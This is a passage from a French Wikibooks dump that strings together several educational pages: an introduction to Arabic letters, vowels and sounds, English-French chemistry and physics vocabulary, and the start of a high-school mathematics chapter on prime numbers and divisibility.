maximum. Comme "LLL" : Il est alors obligatoire de rentrer 3 lettres. (Comme "LLL") OU (Comme "000") : Il est nécessaire de rentrer 3 chiffres ou 3 lettres exclusivement pour que la saisie soit validée. Langue arabe 3597 44981 2006-06-18T01:54:28Z Eric.dane 1653 La [[w:arabe|langue arabe]] (العَرَبِيَّة, ʾal ʿarabiyyaʰ en transcription traditionnelle) est une [[w:langue sémitique|langue sémitique]] et [[w:langue flexionnelle|flexionnelle]] dont l'alphabet est un [[w:abjad|abjad]] avec 280 millions de locuteurs. == Fondamentaux == * [[Arabe/Alphabet arabe|Alphabet arabe]] [[image:100%.png]] * [[Arabe/Voyelles arabes|Voyelles arabes]] [[image:100%.png]] * [[Arabe/Sons arabes|Sons arabes]] [[image:100%.png]] * [[Arabe/Alphabet arabe (par groupe)|Alphabet arabe (par groupe)]] [[image:100%.png]] == Introduction == *[[Arabe/Lecture arabe|Lecture arabe]] *[[Arabe/Phrases de base|Phrases de base]] *[[Arabe/Rencontrer des gens|Rencontrer des gens]] *[[Arabe/Mots courants|Mots courants]] == Voir aussi == *[[Arabe/Ressources en ligne|Ressources en ligne]] *[[m:wikibooks:arabic | Apprentissage de l'arabe via Wiki-Books en anglais]] [[Catégorie:Langue]] [[Catégorie:Arabe]] Arabe/Alphabet arabe 3598 18449 2005-08-04T19:25:54Z Laika 453 orth. française Voici l'alphabet arabe dans l'ordre (présumé) dans lequel les enfants parlant l'arabe l'apprennent à l'école. <!-- click on the letter to learn how it is pronounced --> Noter que certains sons peuvent être difficiles à dire séparément pour les locuteurs français. Aller à la partie [[Sons arabes]] et Wikipedia:[http://fr.wikipedia.org/wiki/Alphabet_arabe Alphabet arabe] pour plus de détails. Voir aussi l'[[alphabet arabe (par groupe)]] pour apprendre comment dire toutes ces formes séparément et comment les utiliser pour la lecture et l'écriture. :''A noter : le "â" est compris entre le "a" (char) et le "ai" (chaise).'' <table border="1" cellspacing="0" cellpadding="4"> <caption>'''Alphabet arabe :'''</caption> <tr> <td>Lettre</td> <td valign="top">Standard<br> </td> <td>Nom</td> <td>Valeur typique [http://en.wikipedia.org/wiki/SAMPA SAMPA]</td> </tr> <tr><font size="+2"> <td>&#1575;</td></font> <td valign="top">âlef<br> </td> <td>alif</td> <td>a</td> </tr> <tr><font size="+2"> <td>&#1576;</td></font> <td valign="top"><font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;">b</font><font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;">â</font></td> <td>ba:?</td> <td>b</td> </tr> <tr><font size="+2"> <td>&#1578;</td></font> <td valign="top">t<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;"><font face="Verdana, Arial, Helvetica">â</font></font></td> <td>ta:?</td> <td>t</td> </tr> <tr><font size="+2"> <td>&#1579;</td></font> <td valign="top">th<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;"><font face="Verdana, Arial, Helvetica">â</font></font></td> <td>Ta:?</td> <td>T</td> </tr> <tr><font size="+2"> <td>&#1580;</td></font> <td valign="top">j<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;">î</font>m<br> </td> <td>dZi:m</td> <td>dZ</td> </tr> <tr><font size="+2"> <td>&#1581;</td></font> <td valign="top">h.<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;"><font face="Verdana, Arial, Helvetica">â</font></font></td> <td>X\a:?</td> <td>X\</td> </tr> <tr><font size="+2"> <td>&#1582;</td></font> <td valign="top">khaa</td> <td>xa:?</td> <td>x</td> </tr> <tr><font size="+2"> <td>&#1583;</td></font> <td valign="top">d<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;">â</font>l<br> </td> <td>da:l</td> <td>d</td> </tr> <tr><font size="+2"> <td>&#1584;</td></font> <td valign="top">th<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;">â</font>l<br> </td> <td>Da:l</td> <td>D</td> </tr> <tr><font size="+2"> <td>&#1585;</td></font> <td valign="top">r'aa<br> </td> <td>ra:?</td> <td>r</td> </tr> <tr><font size="+2"> <td>&#1586;</td></font> <td valign="top">zai<br> </td> <td>za:j</td> <td>z</td> </tr> <tr><font size="+2"> <td>&#1587;</td></font> <td valign="top">si'n<br> </td> <td>si:n</td> <td>s</td> </tr> <tr><font size="+2"> <td>&#1588;</td></font> <td valign="top">sh<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;">î</font>n<br> </td> <td>Si:n</td> <td>S</td> </tr> <tr><font size="+2"> <td>&#1589;</td></font> <td valign="top">s'aad<br> </td> <td>s_ea:d</td> <td>s_e</td> </tr> <tr><font size="+2"> <td>&#1590;</td></font> <td valign="top">d'aad<br> </td> <td>d_ea:d</td> <td>d_e</td> </tr> <tr><font size="+2"> <td>&#1591;</td></font> <td valign="top">t'<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;"><font face="Verdana, Arial, Helvetica">â</font></font></td> <td>t_ea:?</td> <td>t_e</td> </tr> <tr><font size="+2"> <td>&#1592;</td></font> <td valign="top">D'<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;"><font face="Verdana, Arial, Helvetica">â</font></font></td> <td>D_ea:?</td> <td>D_e</td> </tr> <tr><font size="+2"> <td>&#1593;</td></font> <td valign="top">'ayn<br> </td> <td>?\ajn</td> <td>?\</td> </tr> <tr><font size="+2"> <td>&#1594;</td></font> <td valign="top">gha<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;">î</font>n<br> </td> <td>Gajn</td> <td>G</td> </tr> <tr><font size="+2"> <td>&#1601;</td></font> <td valign="top">faa<br> </td> <td>fa:?</td> <td>f</td> </tr> <tr><font size="+2"> <td>&#1602;</td></font> <td valign="top">qâf<br> </td> <td>qa:f</td> <td>q</td> </tr> <tr><font size="+2"> <td>&#1603;</td></font> <td valign="top">k<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;">â</font>f<br> </td> <td>ka:f</td> <td>k</td> </tr> <tr><font size="+2"> <td>&#1604;</td></font> <td valign="top">l<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;">â</font>m<br> </td> <td>la:m</td> <td>l</td> </tr> <tr><font size="+2"> <td>&#1605;</td></font> <td valign="top"><font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;"><font face="Verdana, Arial, Helvetica">m</font></font><font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;"><font face="Verdana,Ariel,Helvetica" size="3">î</font></font><font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;"><font face="Verdana, Arial, Helvetica">m</font></font></td> <td>mi:m</td> <td>m</td> </tr> <tr><font size="+2"> <td>&#1606;</td></font> <td valign="top">nuun<br> </td> <td>nu:n</td> <td>n</td> </tr> <tr><font size="+2"> <td>&#1607;</td></font> <td valign="top">h<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;"><font face="Verdana, Arial, Helvetica">â</font></font></td> <td>ha:?</td> <td>h</td> </tr> <tr><font size="+2"> <td>&#1608;</td></font> <td valign="top">waaw<br> </td> <td>wa:w</td> <td>w</td> </tr> <tr><font size="+2"> <td>ي;</td></font> <td valign="top">y<font face="Verdana,Arial,Helvetica" size="2" style="line-height: 1.6;"><font face="Verdana, Arial, Helvetica">â</font></font></td> <td>ja:?</td> <td>j</td> </tr> <tr><font size="+2"> <td>&#1569;</td></font> <td valign="top">(hamza)<br> </td> <td>hamza</td> <td>?¹</td> </tr> </table></font> # hamza apparaît typiquement comme un petit signe supérieur sur <font size="+2">&#1575;</font>, <font size="+2">&#1608;</font>, ou <font size="+2">&#1609;</font>. Il existe aussi deux variante, chacune utilisée dans des contextes spéciaux : &#x0671;, &#x0622;. Arabe/Voyelles arabes 3599 26421 2005-12-02T21:54:20Z 83.152.140.76 /* Quatre signes de voyelles de base : */ ==VOYELLES== <font size="2">NOTE : Vous devez installer les polices arabes pour voir cette page correctement.</font> Toutes les lettres formelles dans la langue arabe sont des consonnes. Néanmoins, les consonnes arabes ne peuvent pas produire un son complet sans les marques de voyelles. Par exemple, en français, la lettre “P”, produit différents sons en étant associée avec différentes voyelles, c.a.d. pa – pi – pou – p (sans voyelle). Le “P” dans cet exemple donne quatre sons différents, alors que c'est une seule lettre. Les sons apparaissent avec les voyelles ‘a’, ‘i’, et ‘ou’. De plus, les consonnes non appariées sonnent comme pour le son P final dans le mot français ‘cap’. Les signes de voyelles sont particulièrement essentiels dans les cours préliminaires d'apprentissage de l'arabe. Ils sont les fondations des règles de lecture. ===Quatre signes de voyelles de base :=== '''Fatha''' est un trait au-dessus de la lettre pour remplacer le ‘a’ comme dans ba = <font size="+2">بَ</font> '''Kasra''' est un trait en-dessous de la lettre pour remplacer le ‘i’ comme dans bi = <font size="+2">ب</font>ِ '''Damma''' est un petit <font size="+2">و</font> (Waw) au-dessus de la lettre pour remplacer le ‘o’ comme dans bo = <font size="+2">بُ</font> '''Sukun''' est un cercle au-dessus de la lettre pour indiquer l'absence de voyelle (consonne finale) comme le ‘b’ dans robe (consonne finale) = <font size="+2">بْ</font> Explication : FATHA. Ceci est un trait au-dessus de la lettre comme dans – tha = <font size="+2">ثَ</font> , ta = <font size="+2">تَ</font>َ, ba = <font size="+2">بَ</font>َ . Il a la valeur de ‘a’ comme dans ‘panne’ ou ‘eu’ comme dans ‘beurre’. KASRA. Ceci est un trait en-dessous de la lettre comme dans – thi = <font size="+2">ث</font>ِ , ti = <font size="+2">ت</font>ِ , bi = <font size="+2">بِ</font> . Il a la valeur de ‘i’ comme dans litre. DAMMA. Ceci est un petit <font size="+2">و</font> au-dessus de la lettre comme dans – thu = <font size="+2">ثُ</font> , tu = <font size="+2">تُ</font> , bu = <font size="+2">بُ</font> . Il a la valeur de ‘ou’ comme dans Zoulou. SUKUN. Ceci est un petit cercle au-dessus de la lettre comme dans – Smith = <font size="+2">ثْ</font> , bit = <font size="+2">تْ</font> , et rib = <font size="+2">بْ</font> . Arabe/Sons arabes 3602 36776 2006-03-09T18:07:27Z 82.232.186.104 /* Sons en français seulement */ -r le r français estéquivalent au gh, qui existe en arabe ([[wp:Utilisateur:Ayadho|Ayadho]] du Wikipédia francophone == Sons en français et en arabe == La plupart des sons en arabe sont aussi en français, et vice-versa. Par exemple, un ba (ب) sonne exactement comme le b en français, l'arabe za (ز), sonne comme le z en français et les versions arabes de k (), l (), m (), n (), f (), et j (dj) sont toutes les mêmes. Les sons suivants existent en français : - Une (ش) fait le son "ch" comme dans chien ou chinois. - Le ta marbuta (ة) est comme le t final de "sept". Généralement, c'est un silence, mais quelques fois, il est prononcé comme un t. - Le hamza (ء) fait une courte pause. Lorsque vous le voyez, arrêtez de parler pendant une fraction de seconde, puis repartez. Comme pour le trait d'union dans laisser-passer. - Le yeh (ي) agit simplement comme un y. Il peut être une voyelle à la fin d'un mot sonnant comme un ï, ou il peut être une consonne. Il peut être une consonne ou une voyelle dans le milieu d'un mot. De plus, les sons suivants arabes existent en anglais, mais avec une unique lettre : - Une lettre (ث) fait le son "th" (non vocalisé) comme dans thin ou thick. - Une lettre (ذ) fait le son "th" (vocalisé) comme dans them ou the. == Sons en arabe uniquement == Il existe des sons en arabe qui peuvent être difficiles à prononcer séparément pour un locuteur français. Regardons ce qu'ils ont de différent. {| border=1 || comme un k || ق || ك |- || comme un s || س || ص |- || comme un h || ح || خ || ه |- || comme un t |- || comme un d |} === Comme un "k" (ك contre ق) === En arabe, la lettre correspondant au q (ق) produit un son différent par rapport à la lettre correspondant au k (ك), lesquelles sont identiques en français. Le q est prononcé plus en arrière dans la gorge, tandis que le k est plus fermé vers les dents. Koweit démarre avec un k. Qatar avec un q. === Comme un "h" === Il existe trois lettres significatives correspondant à la lettre h. Le premier (ه) est exactement équivalent au h, et est ainsi très léger, on ne l'entend presque pas. Le deuxième (ح) utilise une friction un peu plus importante, mais sonne comme un peu comme un courant d'air entre les mains ou comme un papier de verre très fin. Le troisième (خ) est très rugueux, il est très similaire au dernier son dans "Bach" (allemand). Note : aucun de ces trois sons n'a de son avec des voyelles (connu sous le nom de vocalisation). Ils sont tous comme un soupir dans lequel vos cordes vocales ne vibrent pas. === Comme "h" mais vocalisé === Le son le plus difficile à entendre en arabe est le ain (ع), parceque bien qu'il soit une consonne en arabe, il sonne comme un "ai". Il est comme le h moyen ci-dessous, ou le plus doux, seulement vocalisé. Il est un peu comme le son qu'un docteur vous demande lorsqu'il regarde au fond de votre gorge. Quand vous dites "aaah", rentrez un peu le dos de votre langue dans votre gorge. Le ghain (غ) est similaire au ain qui est une version encore plus rugueuse du ch de "Bach" en allemand, seulement avec la vibration des cordes vocales. La différence entre le dernier son du paragraphe précédent et le dernier son du premier paragraphe devrait être très claire. Ils sont tous les deux rugueux, mais un n'a pas de vibration de cordes vocales, tandis que l'autre en a. === Lettres en versions dures ou douces === L'arabe possède des versions dures et douces de s, t, d, et th (comme there, pas thin). Les locuteurs arabes Arabic font souvent référence à leur langue comme étant la langue de Dod (d dur) parcequ'il est très difficile pour les étrangers de la parler correctement. Il peut être plus facile pour les locuteurs français de penser les sons durs comme plus graves et les sons doux comme plus doux. Ce qui complique encore plus, est le son s dur et le son s doux sont les mêmes, mais les voyelles devant et après eux sont affectés par la consonne. Pour le locuteur français, les voyelles sont différentes et la consonne la même, pour le locuteur arabe, les voyelles sont les mêmes et la consonne est différente. Cela est dû en partie parceque l'arabe possède peu de sons de voyelles reconnus. Un a et un e pour un locuteur arabe sont les mêmes. C'est une lettre prononcée différemment suivant quelle lettre est devant ou derrière elle. A noter aussi, les lettres dures peuvent être dures à dire même pour les locuteurs natifs, et elles ont souvent changées dans l'arabe local en quelquechose d'autre. Par exemple, le d dur dans beaucoup d'endroits est prononcé exactement comme le z, mais ceci n'est pas formellement de l'arabe. Le s doux, "sin" (س), est prononcé comme le s français (avec la bouche ouverte, petit et faible). Le S dur, "sod" (ص) est avec la bouche plus fermée, avec une intonation plus basse. La manière la plus facile de le dire est de produire les voyelles avant et après elle un ton plus bas et plus profond. Le t doux, ta (ت) est comme le t français, doux et faible, et le T dur "taw" (ط) est profond et fort. Le d doux, del (د) est même plus doux que le d français, et le D dur, Dod (ض) est très profond et dur. Le dh doux, dhel (ذ), est comme le th anglais de the, et le DH dur, DHa (ظ) est profond et fort. ====Note sur le translittération==== Note : puisque l'arabe n'utilise pas de lettres capitales, la translittération des lettres douces est généralement écrite en minuscules, et les lettres dures en majuscules. La translittération n'est pas une science exacte et n'est jamais entièrement concordante. Vous êtes vivement recommandé d'apprendre l'alphabet arabe, parceque l'étude de l'arabe à partir des lettres françaises est très frustrante. Différentes personnes, ou la même personne dix minutes plus tard, parlera quelquechose de totalement différent en lettres françaises. Ain est généralement écrit ' en français et hamza comme un ' opposé. Ain et hamza sont souvent écartés lors de la translittération, spécialement ain au début d'un mot (comme dans 'Iraq). Ghain comme gh. ha doux comme h, ha moyen comme kh, et ha dur comme KH. == Sons en français seulement == Ne pensez pas que l'arabe a plus de sons que le français, les sons suivants n'existent ''pas'' en arabe, avec les sons qui sont généralement substitués dans les mots entre parenthèses. v (f) p (b) x (k + s) g (j, excepté en Egypte où tous les j sont prononcés comme g et il n'existe pas de son j) c (s ou k) Note : comme mentionné ci-dessus, en arabe la lettre correspondante pour q (ق) produit un son différent que la lettre correspondante pour k (ك). == Conclusion == Beaucoup de sons en français et en arabe correspondent parfaitement. Donnez-vous le temps de reconnaître les différents sons du h et les lettres dures et douces. Apprenez l'alphabet. Le livre "Aleph Ba" est une des nombreuses introductions à l'[[Alphabet arabe]]. Il est plus intéressant de prendre un petit cours, mais assurez-vous qu'il enseigne l'alphabet arabe. Avec 50 heures, il vous donnera plus d'aisance avec l'alphabet. De plus, si vous voulez apprendre le perse, le turc ottoman ou l'urdu (ou le kurde ou le berbère), ces langues sont aussi écrites avec les mêmes lettres. Inch' Allah (Si Dieu le veut, avec un hamza à la fin de Inch) vous apprendrez ces sons avec facilité. == Arabe phonétique == <!-- We should be able to cannibalise this. The point isn't to give the user a phonentics course, but to help them understand what's the different about those crazily similar sounds. Also, we should use colour to mark the sounds which are like English so that that the user knows he won't have to work about them. --> {| BORDER=1 CELLSPACING=0 STYLE="text-align:center" |- |COLSPAN=2|&nbsp; ||Bilabiale ||Inter-<br>dentale ||Dentale ||Emphatique<BR>dentale ||(Alveo-)<BR>Palatale ||Velar ||Uvular ||Pharyn-<BR>geale ||Glottale |- | ROWSPAN=2 | Arrêts ||Sans vocalisation ||&nbsp; ||&nbsp; ||t ت ||t' ط ||&nbsp; ||k ك ||q ق ||&nbsp; ||? ءـ&nbsp; |- ||Vocalisé ||b ب ||&nbsp; ||d د ||d' ض ||dZ&sup1; ج ||&nbsp; ||&nbsp; ||&nbsp; ||&nbsp; |- |ROWSPAN=2 | Fricatives ||Sans vocalisation ||f ف ||T ت ||s س ||s' ص ||S ش ||x خ ||&nbsp; ||X\ ح ||h ه |- ||Vocalisé ||&nbsp; ||D ذ ||z ز ||D' ظ ||&nbsp; ||G غ ||&nbsp; ||?\ ع ||&nbsp; |- | COLSPAN=2 | Nasales ||m م ||&nbsp; ||n ن ||&nbsp; ||&nbsp; ||&nbsp; ||&nbsp; ||&nbsp; ||&nbsp; |- | COLSPAN=2 | Latérales ||&nbsp; ||&nbsp; ||l&sup2; ل ||&nbsp; ||&nbsp; ||&nbsp; ||&nbsp; ||&nbsp; ||&nbsp; |- | COLSPAN=2 | Rhotique (trille) ||&nbsp; ||&nbsp; ||r ر ||&nbsp; ||&nbsp; ||&nbsp; ||&nbsp; ||&nbsp; ||&nbsp; |- | COLSPAN=2 | Semi-voyelles ||w و ||&nbsp; ||&nbsp; ||j ي ||&nbsp; ||&nbsp; ||&nbsp; ||&nbsp; ||&nbsp; |} Anglais : Chemistry, la chimie 3603 37159 2006-03-11T19:29:57Z Antoinel 182 organic chemistry : ''la chimie organique''<br />inorganic chemistry : ''la chimie minérale''<br />chemical engineering : ''la chimie industrielle'' == a chemical reaction : ''une réaction chimique'' == a reagent : ''un réactif''<br />an electrolysis : ''une électrolyse''<br />a chain reaction : ''une réaction en chaîne''<br />a measuring, a quantity determination : ''un dosage'' == an atom : ''un atome'' == atomic number : ''numéro atomique''<br />atomic mass : ''masse atomique''<br />a nucleon : ''un nucléon''<br />a proton : ''un proton''<br />a neutron : ''un neutron''<br />an electron : ''un électron'' a beaker : ''un bécher''<br />a flask, a vial : ''une fiole''<br />a volumetric flask : ''une fiole jaugée''<br />a separatory funnel : ''une ampoule à décanter''<br />a flat bottomed flask : ''un ballon à fond plat''<br />a distillation flask : ''un flacon de distillation'' ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- Anglais : Physics, les sciences physiques 3604 15103 2005-05-16T15:53:27Z Antoinel 182 __NOTOC__ == Waves : ''les ondes '' == speed : ''vitesse''<br />light : ''la lumière'' == Electricity : ''l'électricité'' == === Electronics : ''l'électronique'' === === Electromagnetism : ''l'électromagnétisme'' === an electromagnet : ''un électro-aimant'' === Electrostatics : ''l'électrostatique'' === == Optics : ''l'optique'' == ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- Approfondissements de lycée 3607 23961 2005-10-23T08:08:36Z 81.248.196.198 Typo. [[en:High school extensions]] ==Rubriques== {| {{Prettytable}} |+ Table des matières ! &nbsp; !! Chapitre !! États !! Pages !! Solutions |- | 1 || [[AL Premiers|Nombres premiers]] ET [[AL Arithmétique modulaire|Arithmétique modulaire]] || 100 % || 22 || [[AL ES Premiers|SE]] [[Image:25%.png]] , [[AL PS Premiers|SP]] [[Image:100%.png]] |- | 2 || [[AL Logique|Logique]] || 100 % || 18 || [[AL SE Logique|SE]] [[Image:75%.png]] , [[AL SP Logique|SP]] [[Image:75%.png]] |- | 3 || [[AL Démonstrations|Démonstrations]] || 100 % || 8 || [[AL SE Démonstrations|SE]] [[Image:25%.png]] , [[AL SP Démonstrations|SP]] [[Image:50%.png]] |- | 4 || [[AL Infini et processus infinis|Infini et processus infinis]] || 50 % || 10 || [[AL SE Infini et processus infinis|SE]] [[Image:75%.png]] , [[AL SP Infini et processus infinis|SP]] [[Image:00%.png]] |- | 5 || [[AL Dénombrement et séries de puissances|Dénombrement et séries de puissances]]|| 90 % (Problèmes difficiles requis) || 19 || [[AL SE Dénombrement et séries de puissances|SE]] [[Image:25%.png]] , [[AL SP Dénombrement et séries de puissances|SP]] [[Image:00%.png]] |- | 6 || [[AL Probabilité discrète|Probabilité discrète]] || 3 % || 2 || [[AL SE Probabilité discrète|SE]] [[Image:00%.png]] , [[AL SP Probabilité discrète|SP]] [[Image:00%.png]] |- | 7 || [[AL Matrices|Matrices]] || 90 % (Problèmes difficiles requis) || 25 || [[AL SE Matrices|SE]] [[Image:50%.png]] , [[AL SP Matrices|SP]] [[Image:00%.png]] |- | 8 || [[AL Arithmétique modulaire approfondie|Arithmétique modulaire approfondie]] || 0 % || 0 || [[AL SE Arithmétique modulaire approfondie|SE]] [[Image:00%.png]] , [[AL SP Arithmétique modulaire approfondie|SP]] [[Image:00%.png]] |- | 9 || [[AL Programmation mathématique|Programmation mathématique]] || 5 % || 3 || [[AL ES Programmation mathématique|ES]] [[Image:00%.png]] , [[AL PS Programmation mathématique|PS]] [[Image:00%.png]] |- | 10 || [[AL Nombres complexes|Nombres complexes]] || 75 % || 14 || [[AL SE Nombres complexes|SE]] [[Image:25%.png]] , [[AL SP Nombres complexes|SP]] [[Image:00%.png]] |- | &nbsp;|| Total || &nbsp; || 119 || &nbsp; |} ''' Suppléments ''' # [[AL Fractions partielles|Méthode de fractions partielles]] 60 % # [[AL Signe de sommation|Signe de sommation]] 50 % # [[AL Dénombrement de base|Dénombrement de base]] 70 % <small>'' '''Note :''' Les petits carrés ([[Image:100%.png]]) représente l'état du chapitre. Quatre carrés indiquent un chapitre complet.'' </small> ==Introduction== Ce livre en ligne est destiné aux personnes, agées de 16 à 20 ans, mais pas seulement, intéressées par les mathématiques en général. Plusieurs sujets intéressants de mathématiques non traités dans le cursus du lycée sont introduits dans ce texte. Souvent, dans beaucoup de lycées, les cours de mathématiques n'ont pas suffisamment de défis pour les étudiants brillants. Par conséquent, les contenus présentés ici peuvent y contribuer. Mais, en même temps, nous nous sommes efforcés de rendre ce livre accessible à tous avec une éducation normale de 9-10 ans. Ce livre est proche de l'esprit de ''A concise introduction to pure mathematics'' (Une introduction concise aux mathématiques pures) par Martin Liebeck. ==Auteurs & Contributeurs== {| width="100%" border="0" cellspacing="5" cellpadding="5" !Nom !Rôle !Affiliation !Commentaire |- |[[:en:User:Xiaodai|Zhuo Jia Dai]] n'est pas capable de le mettre à jour régulièrement depuis août. |Auteur |Etudiant à l'université de Sydney |Ouvert à toute critique ou félicitation. |- |[[:en:User:R3m0t]] |Corrections |Etudiant à JFS Secondary school |"l'itération est humaine ; la récursivité, divine." |- |[[:en:User:Mmartin|Martin Warmer]] |Corrections & solutions |Etudiant à HBL high school |Bienvenue à toutes les corrections et autre aide |} [[Catégorie:Mathématiques]] AL Premiers 3608 43326 2006-05-28T07:28:41Z 217.175.176.83 /* Introduction */ [[Approfondissements de lycée]] ==Nombres premiers== ===Introduction=== Un nombre premier (ou premier en abrégé) est un nombre entier naturel qui admet deux et seulement deux diviseurs : 1 et lui-même. Pour des raisons théoriques, le nombre 1 n'est pas considéré comme un nombre premier (nous verrons pourquoi plus tard dans ce chapitre). Par exemple, 2 est un nombre premier, 3 est premier, et 5 est premier, mais 4 ne l'est pas parce qu'il est divisible par 2. Les 20 premiers nombres premiers sont : 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71. Les nombres premiers sont une source sans fin de fascination pour les mathématiciens. Certains des problèmes concernant les nombres premiers sont si difficiles que même le travail de certains des plus brillants mathématiciens n'a pas suffi à les résoudre. Un de ceux-ci est la [[w:Conjecture de Goldbach|conjecture de Goldbach]], qui énonce que tous les nombres pairs supérieurs à 3 peuvent être exprimés comme sommme de deux nombres premiers. ====Signification géométrique des nombres premiers==== Prenons un exemple : si nous avons 12 carreaux de carrelage, pouvons-nous les assembler en une forme rectangulaire de plus d'une façon ? Bien sur, nous le pouvons : ceci est dû au fait que :<math> \begin{matrix} 12 &=& 12 \times 1 \\ &=& 6 \times 2\\ &=& 4 \times 3\\ \end{matrix} </math> Nous ne distinguons pas 2 x 6 et 6 x 2 parceque ce sont des arrangements équivalents. Mais qu'en est-il du nombre 7 ? Pouvez-vous arranger 7 carreaux de carrelage en une forme rectangulaire de plus d'une facon ? La réponse est non, parceque 7 est un nombre premier. ====Théorème fondamental de l'arithmétique==== Un '''théorème''' est un fait mathématique non-évident (on dit aussi non-trivial). Un théorème doit être démontré ; une proposition qui est généralement reconnue comme vraie, mais sans démonstration, est appelée '''conjecture'''. Les '''axiomes''' sont les faits de base que nous supposons vrais, et qui sont utilisés pour démontrer les théorèmes. Ils tendent à être des énoncés évidents mais ils sont importants lorsque nous voulons démontrer formellement les choses. Avec ces définitions posées, le théorème fondamental de l'arithmétique énonce simplement que : ::''Tout nombre entier supérieur ou égal à 2 peut être décomposé en un unique produit de nombres premiers.'' Par exemple :<math> 12 = 2 \times 2 \times 3 </math> Le réarrangement de l'ordre de la multiplication n'est pas considéré comme une représentation différente du nombre, ainsi, il n'existe pas d'autre manière d'exprimer 12 comme le produit de nombres premiers. Quelques exemples supplémentaires :<math> \begin{matrix} 99 &=& 3 \times 3 \times 11 \\ 52 &=& 2 \times 2 \times 13 \\ 17 &=& 17 \end{matrix} </math> Un nombre qui peut être décomposé en plus d'un facteur premier est appelé un nombre composé (ou composé pour abréger). Composé est l'opposé de premier. '''''Réfléchir à cela''''' :''Garder à l'esprit la définition du théorème fondamental de l'arithmétique, pourquoi le nombre 1 n'est-il pas considéré comme premier ?'' ===Décomposition=== Nous savons, à partir du théorème fondamental de l'arithmétique que tout nombre entier peut être exprimé comme un produit de nombres premiers. La question est : pour un nombre donné ''x'', existe-t'il une manière ''facile'' de trouver tous les facteurs premiers de ''x'' ? Si ''x'' est un petit nombre, c'est facile. Par exemple 90 = 2 x 3 x 3 x 5. Mais si ''x'' est grand ? Par exemple ''x = 4539'' ? La plupart des gens ne peuvent pas décomposer 4539 en facteurs premiers dans leurs têtes. Mais un ordinateur le peut-il ? Oui, un ordinateur peut décomposer 4539 instantanément. En fait, 4539 = 3 x 17 x 89. Puisque les ordinateurs sont très bons pour faire de l'arithmétique, nous pouvons extraire tous les facteurs de ''x'' en indiquant simplement à l'ordinateur de diviser ''x'' par 2 et par 3 et par 4 et par 5 et par 6 ... et ainsi de suite, et vérifier si à chaque fois le résultat est un nombre entier. Considérons les trois exemples suivants de la méthode des divisions en action. '''Exemple 1''' :<math> x = 21 </math> :<math> x / 2 = 10.5 </math> n'est pas un nombre entier :<math> x / 3 = 7 </math> donc 3 et 7 sont les facteurs de 21. '''Exemple 2''' :''x'' = 153 :''x'' / 2 = 76,5 donc 2 n'est pas un facteur de 153 :''x'' / 3 = 51 donc 3 et 51 sont les facteurs de 153 :51 / 3 = 17 donc 3 et 17 sont les facteurs de 153 Il est clair que 3, 9, 17 et 51 sont les facteurs de 153. Les facteurs premiers de 153 sont 3, 3 et 17 (3 x 3 x 17 = 153) '''Exemple 3''' :2057 / 2 = 1028,5 :... :2057 / 11 = 187 :187 / 11 = 17 :donc 11, 11 et 17 sont les facteurs premiers de 2057. ====Exercice==== Décomposer les nombres suivants : # 13 # 26 # 59 # 82 # 101 # 121 # 2187 Si cela prend trop de temps, il existe une manière rapide. ====info — Décomposition en facteurs premiers==== <blockquote style="padding: 1em; border: 2px dotted purple;"> Il existe une manière ''facile'' de décomposer un nombre en facteurs premiers. En appliquant simplement la méthode décrite ci-dessus (en utilisant un ordinateur). Mais la méthode ci-dessus est trop lente pour les grands nombres : essayer de décomposer un nombre avec des milliers de chiffres prendrait plus de temps que l'age actuel de l'univers. Mais existe-t'il une manière ''rapide'' ? Ou plus précisément, existe-t'il une manière ''efficiente'' ? Cela se peut, mais personne ne l'a encore trouvée. Certains des schémas de cryptologie les plus largement utilisés aujourd'hui (tel que le RSA) utilisent le fait que nous ne pouvons pas décomposer des grands nombres en facteurs premiers rapidement. Si une telle méthode est trouvée, 90 % des transactions sur internet seront non sécurisées. Donc, s'il vous arrive de découvrir une telle méthode, ne soyez pas trop empressé de la publier, consultez votre ministère de sécurité nationale avant ! Avec les développements récents, nous pouvons dire rapidement, avec l'aide d'un programme informatique, si un nombre est premier avec 100 % de précision. </blockquote> ===Deux, cinq et trois=== Les nombres premiers 2, 5 et 3 tiennent une place spéciale dans la décomposition. Premièrement, tous les nombres pairs ont 2 comme l'un de leurs facteurs premiers. Deuxièmement, tous les nombres qui finissent par 0 ou 5 peuvent être divisés entièrement par 5. Le troisième cas, où 3 est un facteur premier, est le but de cette section. La question sous-jacente est : existe-t'il une manière simple de décider si un nombre possède 3 comme l'un de ses facteurs premiers ? La réponse est oui. Mais comment ? ===Théorème - Divisibilité par 3=== <blockquote style="padding: 1em; border: 2px dotted purple;"> ''Un nombre est divisible par 3 si et seulement si la '''somme de ses chiffres''' est divisible par 3'' </blockquote> c.a.d. 272 n'est pas divisible par 3, parceque 2+7+2=11. Et 11 n'est pas divisible par 3. 945 est divisible par 3, parceque 9+4+5 = 18. Et 18 est divisible par 3. En fait 945 / 3 = 315 Est-ce que 123456789 est divisible par 3 ? :1 + 2 + 3 + 4 + 5 + 6 + 7 + 8 + 9 = (1 + 9) x 9 / 2 = 45 :4 + 5 = 9 Neuf est divisible par 3, par conséquent 45 est divisible par 3, par conséquent 123456789 est divisible par 3 ! (Ce qui fait que la méthode marche est un théorème, bien que la démonstration ne soit pas donnée ici.) La beauté de ce théorème réside dans sa nature récursive. Un nombre est divisible par 3 si et seulement si la somme de ses 